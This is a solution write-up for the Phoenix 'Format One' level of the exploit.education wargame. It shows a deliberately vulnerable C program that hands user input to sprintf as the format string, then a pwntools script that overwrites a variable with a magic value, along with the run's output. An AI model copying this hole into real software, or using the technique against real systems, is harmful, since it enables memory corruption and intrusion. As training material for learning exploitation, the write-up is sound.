Phoenix - Format One

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char dest[32];
    volatile int changeme;
  } locals;
  char buffer[16];

  printf("%s\n", BANNER);

  if (fgets(buffer, sizeof(buffer) - 1, stdin) == NULL) {
    errx(1, "Unable to get buffer");
  }
  buffer[15] = 0;

  locals.changeme = 0;

  sprintf(locals.dest, buffer);

  if (locals.changeme != 0x45764f6c) {
    printf("Uh oh, 'changeme' is not the magic value, it is 0x%08x\n",
        locals.changeme);
  } else {
    puts("Well done, the 'changeme' variable has been changed correctly!");
  }

  exit(0);
}

This level is the same as the last one except that we need set changeme to a specific value 0x45764f6c instead of a random value.

Solution:

#solve.py

from pwn import *

buff = ""
buff += '%32x'
buff += p64(0x45764f6c)

print(buff)

$ python solve.py | /opt/phoenix/amd64/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed correctly!